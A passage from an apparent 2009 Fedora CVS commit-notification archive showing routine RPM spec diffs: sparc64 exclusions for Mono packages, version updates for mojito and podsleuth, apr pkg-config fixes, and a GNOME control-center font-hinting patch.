@@ -49,6 +48,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/monotorrent.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.72-5
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.72-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 22:18:25 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:18:25 +0000 (UTC)
Subject: rpms/monotorrent/devel monotorrent.spec,1.12,1.13
Message-ID: <20091026221826.0273711C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/monotorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28623

Modified Files:
	monotorrent.spec 
Log Message:
exclude sparc64



Index: monotorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monotorrent/devel/monotorrent.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- monotorrent.spec	25 Jul 2009 15:04:57 -0000	1.12
+++ monotorrent.spec	26 Oct 2009 22:18:25 -0000	1.13
@@ -2,7 +2,7 @@
 
 Name:           monotorrent
 Version:        0.72
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Mono bittorrent client
 Group:          Development/Languages
 License:        MIT
@@ -11,8 +11,7 @@ Source0:        %{name}-%{version}.tar.g
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  mono-devel, gtk-sharp2-devel, desktop-file-utils
 
-# Bug 241850 - no Mono on ppc64
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha s390 s390x ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Monotorrent is a bittorrent for mono
@@ -49,6 +48,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/monotorrent.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.72-5
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.72-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pbrobinson at fedoraproject.org  Mon Oct 26 22:22:34 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 22:22:34 +0000 (UTC)
Subject: rpms/mojito/devel .cvsignore, 1.13, 1.14 mojito.spec, 1.23,
	1.24 sources, 1.13, 1.14
Message-ID: <20091026222234.5BAC811C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30092

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	21 Oct 2009 21:35:46 -0000	1.13
+++ .cvsignore	26 Oct 2009 22:22:33 -0000	1.14
@@ -1 +1 @@
-mojito-0.21.4.tar.bz2
+mojito-0.21.5.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/mojito.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- mojito.spec	21 Oct 2009 22:23:56 -0000	1.23
+++ mojito.spec	26 Oct 2009 22:22:34 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           mojito
-Version:        0.21.4
-Release:        2%{?dist}
+Version:        0.21.5
+Release:        1%{?dist}
 Summary:        A social network data aggregator
 
 Group:          Applications/Internet
@@ -55,7 +55,6 @@ sed -i 's|echo|exit 0|g' autogen.sh
    --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f \
    --enable-digg-key=http://services.digg.com/user/sbwms?appkey=http%3A%2F%2Fwww.fedoraproject.org%2Fapplication
 
-
 # Remove rpath as per https://fedoraproject.org/wiki/Packaging/Guidelines#Beware_of_Rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -107,6 +106,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.5-1
+- Update to 0.21.5
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-2
 - enable digg support
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	21 Oct 2009 21:35:47 -0000	1.13
+++ sources	26 Oct 2009 22:22:34 -0000	1.14
@@ -1 +1 @@
-dc010de505bcd2beb75e72176581f715  mojito-0.21.4.tar.bz2
+cc4af9e404bf72857fd67e8d6367236b  mojito-0.21.5.tar.bz2



From ausil at fedoraproject.org  Mon Oct 26 22:25:53 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:25:53 +0000 (UTC)
Subject: rpms/gmime/F-12 gmime.spec,1.48,1.49
Message-ID: <20091026222553.D5CFA11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gmime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31584

Modified Files:
	gmime.spec 
Log Message:
* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.7-3
- build mono support on s390 and s390x
- exclude mono support on sparc64




Index: gmime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gmime/F-12/gmime.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- gmime.spec	25 Jul 2009 00:27:53 -0000	1.48
+++ gmime.spec	26 Oct 2009 22:25:52 -0000	1.49
@@ -1,6 +1,6 @@
 Name:           gmime
 Version:        2.4.7
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Library for creating and parsing MIME messages
 
 Group:          System Environment/Libraries
@@ -16,8 +16,8 @@ BuildRequires:  gettext-devel, gtk-doc
 
 Patch2: libdir.patch
 
-# no mono on s390 for now, thus exclude s390 s390x
-%ifarch s390 s390x
+# no mono on sparc64 for now, thus exclude sparc64
+%ifarch sparc64
 %define buildmono 0
 %else
 %define buildmono 1
@@ -119,6 +119,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.7-3
+- build mono support on s390 and s390x
+- exclude mono support on sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 22:26:47 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:26:47 +0000 (UTC)
Subject: rpms/gmime/devel gmime.spec,1.48,1.49
Message-ID: <20091026222647.0CC3C11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gmime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32186

Modified Files:
	gmime.spec 
Log Message:
* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.7-3
- build mono support on s390 and s390x
- exclude mono support on sparc64




Index: gmime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gmime/devel/gmime.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- gmime.spec	25 Jul 2009 00:27:53 -0000	1.48
+++ gmime.spec	26 Oct 2009 22:26:46 -0000	1.49
@@ -1,6 +1,6 @@
 Name:           gmime
 Version:        2.4.7
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Library for creating and parsing MIME messages
 
 Group:          System Environment/Libraries
@@ -16,8 +16,8 @@ BuildRequires:  gettext-devel, gtk-doc
 
 Patch2: libdir.patch
 
-# no mono on s390 for now, thus exclude s390 s390x
-%ifarch s390 s390x
+# no mono on sparc64 for now, thus exclude sparc64
+%ifarch sparc64
 %define buildmono 0
 %else
 %define buildmono 1
@@ -119,6 +119,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.7-3
+- build mono support on s390 and s390x
+- exclude mono support on sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bojan at fedoraproject.org  Mon Oct 26 22:29:31 2009
From: bojan at fedoraproject.org (bojan)
Date: Mon, 26 Oct 2009 22:29:31 +0000 (UTC)
Subject: rpms/apr/devel apr.spec,1.95,1.96
Message-ID: <20091026222931.DE23D11C0264@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv559

Modified Files:
	apr.spec 
Log Message:
Document bug number.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/devel/apr.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- apr.spec	25 Oct 2009 05:27:21 -0000	1.95
+++ apr.spec	26 Oct 2009 22:29:31 -0000	1.96
@@ -124,7 +124,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
-- remove uuid/crypt libs from pkg-config file
+- remove uuid/crypt libs from pkg-config file (#511522)
 
 * Mon Sep 28 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
 - revert use of accept4(), dup3() and epoll_create1()



From ausil at fedoraproject.org  Mon Oct 26 22:29:41 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:29:41 +0000 (UTC)
Subject: rpms/gnome-desktop-sharp/F-12 gnome-desktop-sharp.spec,1.12,1.13
Message-ID: <20091026222941.9B70011C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-desktop-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv586

Modified Files:
	gnome-desktop-sharp.spec 
Log Message:
Exclude sparc64



Index: gnome-desktop-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop-sharp/F-12/gnome-desktop-sharp.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- gnome-desktop-sharp.spec	25 Jul 2009 00:36:44 -0000	1.12
+++ gnome-desktop-sharp.spec	26 Oct 2009 22:29:41 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           gnome-desktop-sharp
 Version:        2.26.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        .NET language binding for mono
 
 Group:          System Environment/Libraries
@@ -21,8 +21,8 @@ BuildRequires:  gtk-sharp2-devel >= 2.12
 Provides:       gtksourceview2-sharp = 2:%{version}-%{release}
 Obsoletes:      gtksourceview2-sharp < 2:2.20.1-2
 
-#Mono only available on this following arch
-ExclusiveArch:  %ix86 x86_64 ppc ia64 armv4l sparc alpha ppc64
+#Mono not available on the following arch
+ExcludeArch:    sparc64
 
 %description
 GnomeDesktop is a .NET language binding for assorted
@@ -109,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.26.0-5
+- Exclude sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.26.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 22:30:30 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:30:30 +0000 (UTC)
Subject: rpms/gnome-desktop-sharp/devel gnome-desktop-sharp.spec,1.12,1.13
Message-ID: <20091026223030.3AA3B11C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-desktop-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv945

Modified Files:
	gnome-desktop-sharp.spec 
Log Message:
Exclude sparc64



Index: gnome-desktop-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop-sharp/devel/gnome-desktop-sharp.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- gnome-desktop-sharp.spec	25 Jul 2009 00:36:44 -0000	1.12
+++ gnome-desktop-sharp.spec	26 Oct 2009 22:30:30 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           gnome-desktop-sharp
 Version:        2.26.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        .NET language binding for mono
 
 Group:          System Environment/Libraries
@@ -21,8 +21,8 @@ BuildRequires:  gtk-sharp2-devel >= 2.12
 Provides:       gtksourceview2-sharp = 2:%{version}-%{release}
 Obsoletes:      gtksourceview2-sharp < 2:2.20.1-2
 
-#Mono only available on this following arch
-ExclusiveArch:  %ix86 x86_64 ppc ia64 armv4l sparc alpha ppc64
+#Mono not available on the following arch
+ExcludeArch:    sparc64
 
 %description
 GnomeDesktop is a .NET language binding for assorted
@@ -109,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.26.0-5
+- Exclude sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.26.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bojan at fedoraproject.org  Mon Oct 26 22:31:05 2009
From: bojan at fedoraproject.org (bojan)
Date: Mon, 26 Oct 2009 22:31:05 +0000 (UTC)
Subject: rpms/apr/F-12 apr.spec,1.95,1.96
Message-ID: <20091026223105.D117C11C029D@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1600

Modified Files:
	apr.spec 
Log Message:
Document bug number.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/F-12/apr.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- apr.spec	25 Oct 2009 06:08:54 -0000	1.95
+++ apr.spec	26 Oct 2009 22:31:05 -0000	1.96
@@ -124,7 +124,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
-- remove uuid/crypt libs from pkg-config file
+- remove uuid/crypt libs from pkg-config file (#511522)
 
 * Mon Sep 28 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
 - revert use of accept4(), dup3() and epoll_create1()



From bojan at fedoraproject.org  Mon Oct 26 22:32:24 2009
From: bojan at fedoraproject.org (bojan)
Date: Mon, 26 Oct 2009 22:32:24 +0000 (UTC)
Subject: rpms/apr/F-11 apr.spec,1.87,1.88
Message-ID: <20091026223224.E40DB11C0264@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2107

Modified Files:
	apr.spec 
Log Message:
Remove uuid/crypt libs from pkg-config file.
Fix for bug #511522.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/F-11/apr.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- apr.spec	25 Sep 2009 00:09:15 -0000	1.87
+++ apr.spec	26 Oct 2009 22:32:24 -0000	1.88
@@ -6,7 +6,7 @@
 Summary: Apache Portable Runtime library
 Name: apr
 Version: 1.3.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: ASL 2.0
 Group: System Environment/Libraries
 URL: http://apr.apache.org/
@@ -70,6 +70,8 @@ sed -ri '/^dependency_libs/{s,-l(uuid|cr
       $RPM_BUILD_ROOT%{_libdir}/libapr*.la
 sed -ri '/^LIBS=/{s,-l(uuid|crypt) ,,g;s/  */ /g}' \
       $RPM_BUILD_ROOT%{_bindir}/apr-%{aprver}-config
+sed -ri '/^Libs/{s,-l(uuid|crypt) ,,g}' \
+      $RPM_BUILD_ROOT%{_libdir}/pkgconfig/apr-%{aprver}.pc
 
 %ifarch %{multilib_arches}
 # Ugly hack to allow parallel installation of 32-bit and 64-bit apr-devel 
@@ -121,6 +123,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/*.m4
 
 %changelog
+* Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
+- remove uuid/crypt libs from pkg-config file (#511522)
+
 * Fri Sep 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-1
 - bump up to 1.3.9
 



From chkr at fedoraproject.org  Mon Oct 26 22:34:06 2009
From: chkr at fedoraproject.org (chkr)
Date: Mon, 26 Oct 2009 22:34:06 +0000 (UTC)
Subject: rpms/podsleuth/F-12 .cvsignore, 1.5, 1.6 podsleuth.spec, 1.12,
	1.13 sources, 1.5, 1.6 podsleuth-0.6.4-sg3_utils.patch, 1.1, NONE
Message-ID: <20091026223406.CB54C11C0264@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/podsleuth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3259

Modified Files:
	.cvsignore podsleuth.spec sources 
Removed Files:
	podsleuth-0.6.4-sg3_utils.patch 
Log Message:
* Mon Oct 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-1
- Update to 0.6.5
- Remove unneeded sg3_utils patch (upstream supports now
  libsgutils2)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	26 Aug 2009 19:41:59 -0000	1.5
+++ .cvsignore	26 Oct 2009 22:34:06 -0000	1.6
@@ -1 +1 @@
-podsleuth-0.6.4.tar.bz2
+podsleuth-0.6.5.tar.bz2


Index: podsleuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/F-12/podsleuth.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- podsleuth.spec	26 Oct 2009 21:17:08 -0000	1.12
+++ podsleuth.spec	26 Oct 2009 22:34:06 -0000	1.13
@@ -1,14 +1,13 @@
 %define		debug_package %{nil}
 
 Name:		podsleuth
-Version:	0.6.4
-Release:	2%{?dist}
+Version:	0.6.5
+Release:	1%{?dist}
 Summary:	Probes, identifies, and exposes properties and metadata bound to iPods
 Group:		Applications/Multimedia
 License:	MIT
-URL:		http://banshee-project.org/PodSleuth
-Source0:	http://banshee-project.org/files/%{name}/%{name}-%{version}.tar.bz2
-Patch0:		podsleuth-0.6.4-sg3_utils.patch
+URL:		http://banshee-project.org/
+Source0:	http://banshee-project.org/files/%{name}/%{version}/%{name}-%{version}.tar.bz2
 Patch1:		podsleuth-0.6.2-libdir.patch
 Patch2:		podsleuth-0.6.0-wapidir.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -43,9 +42,6 @@ Development files for podsleuth.
 
 %prep
 %setup -q
-%if 0%{?fedora} >= 10
-%patch0 -p1 -b .sg3_utils
-%endif
 %patch1 -p1 -b .libdir
 %patch2 -p1 -b .wapidir
 
@@ -78,6 +74,11 @@ make install DESTDIR=%{buildroot}
 %{_libdir}/pkgconfig/podsleuth.pc
 
 %changelog
+* Mon Oct 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-1
+- Update to 0.6.5
+- Remove unneeded sg3_utils patch (upstream supports now
+  libsgutils2)
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.4-2
 - ExcludeArch sparc64
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	26 Aug 2009 19:41:59 -0000	1.5
+++ sources	26 Oct 2009 22:34:06 -0000	1.6
@@ -1 +1 @@
-b51e7bc2dd3e2265e75a04fe35974c10  podsleuth-0.6.4.tar.bz2
+5cbe9c3bb199912e15f65314b4f46ca8  podsleuth-0.6.5.tar.bz2


--- podsleuth-0.6.4-sg3_utils.patch DELETED ---



From bojan at fedoraproject.org  Mon Oct 26 22:35:56 2009
From: bojan at fedoraproject.org (bojan)
Date: Mon, 26 Oct 2009 22:35:56 +0000 (UTC)
Subject: rpms/apr/F-11 apr.spec,1.88,1.89
Message-ID: <20091026223556.871A011C0264@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3814

Modified Files:
	apr.spec 
Log Message:
Fix date/release number.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/F-11/apr.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- apr.spec	26 Oct 2009 22:32:24 -0000	1.88
+++ apr.spec	26 Oct 2009 22:35:56 -0000	1.89
@@ -123,7 +123,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/*.m4
 
 %changelog
-* Sun Oct 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-3
+* Mon Oct 26 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
 - remove uuid/crypt libs from pkg-config file (#511522)
 
 * Fri Sep 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-1



From bojan at fedoraproject.org  Mon Oct 26 22:37:11 2009
From: bojan at fedoraproject.org (bojan)
Date: Mon, 26 Oct 2009 22:37:11 +0000 (UTC)
Subject: rpms/apr/F-10 apr.spec,1.82,1.83
Message-ID: <20091026223711.512E011C0264@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/apr/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4135

Modified Files:
	apr.spec 
Log Message:
Remove uuid/crypt libs from pkg-config file.
Fix for bug #511522.


Index: apr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/apr/F-10/apr.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- apr.spec	25 Sep 2009 00:11:43 -0000	1.82
+++ apr.spec	26 Oct 2009 22:37:11 -0000	1.83
@@ -6,7 +6,7 @@
 Summary: Apache Portable Runtime library
 Name: apr
 Version: 1.3.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: ASL 2.0
 Group: System Environment/Libraries
 URL: http://apr.apache.org/
@@ -70,6 +70,8 @@ sed -ri '/^dependency_libs/{s,-l(uuid|cr
       $RPM_BUILD_ROOT%{_libdir}/libapr*.la
 sed -ri '/^LIBS=/{s,-l(uuid|crypt) ,,g;s/  */ /g}' \
       $RPM_BUILD_ROOT%{_bindir}/apr-%{aprver}-config
+sed -ri '/^Libs/{s,-l(uuid|crypt) ,,g}' \
+      $RPM_BUILD_ROOT%{_libdir}/pkgconfig/apr-%{aprver}.pc
 
 %ifarch %{multilib_arches}
 # Ugly hack to allow parallel installation of 32-bit and 64-bit apr-devel 
@@ -121,6 +123,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/*.m4
 
 %changelog
+* Mon Oct 26 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-2
+- remove uuid/crypt libs from pkg-config file (#511522)
+
 * Fri Sep 25 2009 Bojan Smojver <bojan at rexursive.com> - 1.3.9-1
 - bump up to 1.3.9
 



From pbrobinson at fedoraproject.org  Mon Oct 26 22:39:40 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 22:39:40 +0000 (UTC)
Subject: rpms/mojito/F-12 .cvsignore, 1.13, 1.14 mojito.spec, 1.23,
	1.24 sources, 1.13, 1.14
Message-ID: <20091026223940.202CB11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5118

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.5


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	21 Oct 2009 21:43:00 -0000	1.13
+++ .cvsignore	26 Oct 2009 22:39:39 -0000	1.14
@@ -1 +1 @@
-mojito-0.21.4.tar.bz2
+mojito-0.21.5.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/mojito.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- mojito.spec	21 Oct 2009 22:27:08 -0000	1.23
+++ mojito.spec	26 Oct 2009 22:39:39 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           mojito
-Version:        0.21.4
-Release:        2%{?dist}
+Version:        0.21.5
+Release:        1%{?dist}
 Summary:        A social network data aggregator
 
 Group:          Applications/Internet
@@ -55,7 +55,6 @@ sed -i 's|echo|exit 0|g' autogen.sh
    --enable-flickr-key=d7953dc63a9498433bfdb4287ee2694b:2bd799133e3a2c7f \
    --enable-digg-key=http://services.digg.com/user/sbwms?appkey=http%3A%2F%2Fwww.fedoraproject.org%2Fapplication
 
-
 # Remove rpath as per https://fedoraproject.org/wiki/Packaging/Guidelines#Beware_of_Rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -107,6 +106,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.5-1
+- Update to 0.21.5
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-2
 - enable digg support
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	21 Oct 2009 21:43:00 -0000	1.13
+++ sources	26 Oct 2009 22:39:40 -0000	1.14
@@ -1 +1 @@
-dc010de505bcd2beb75e72176581f715  mojito-0.21.4.tar.bz2
+cc4af9e404bf72857fd67e8d6367236b  mojito-0.21.5.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 26 22:42:57 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 22:42:57 +0000 (UTC)
Subject: rpms/control-center/F-12 best-shapes.patch, NONE,
	1.1 control-center.spec, 1.501, 1.502
Message-ID: <20091026224257.755E711C0264@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6098

Modified Files:
	control-center.spec 
Added Files:
	best-shapes.patch 
Log Message:
Make best shapes the default


best-shapes.patch:
 appearance-font.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE best-shapes.patch ---
diff -up gnome-control-center-2.28.1/capplets/appearance/appearance-font.c.best-shapes gnome-control-center-2.28.1/capplets/appearance/appearance-font.c
--- gnome-control-center-2.28.1/capplets/appearance/appearance-font.c.best-shapes	2009-10-26 18:30:50.497797557 -0400
+++ gnome-control-center-2.28.1/capplets/appearance/appearance-font.c	2009-10-26 18:31:03.035808184 -0400
@@ -952,7 +952,7 @@ font_init (AppearanceData *data)
                    ANTIALIAS_NONE, HINT_FULL);
   setup_font_pair (appearance_capplet_get_widget (data, "best_shapes_radio"),
                    appearance_capplet_get_widget (data, "best_shapes_sample"),
-                   ANTIALIAS_GRAYSCALE, HINT_MEDIUM);
+                   ANTIALIAS_GRAYSCALE, HINT_SLIGHT);
   setup_font_pair (appearance_capplet_get_widget (data, "best_contrast_radio"),
                    appearance_capplet_get_widget (data, "best_contrast_sample"),
                    ANTIALIAS_GRAYSCALE, HINT_FULL);


Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.501
retrieving revision 1.502
diff -u -p -r1.501 -r1.502
--- control-center.spec	26 Oct 2009 17:11:03 -0000	1.501
+++ control-center.spec	26 Oct 2009 22:42:57 -0000	1.502
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -72,6 +72,8 @@ Patch54: about-me-delete.patch
 
 Patch55: finger-icons.patch
 
+Patch56: best-shapes.patch
+
 # call the Fedora/RHEL graphical passwd changing apps
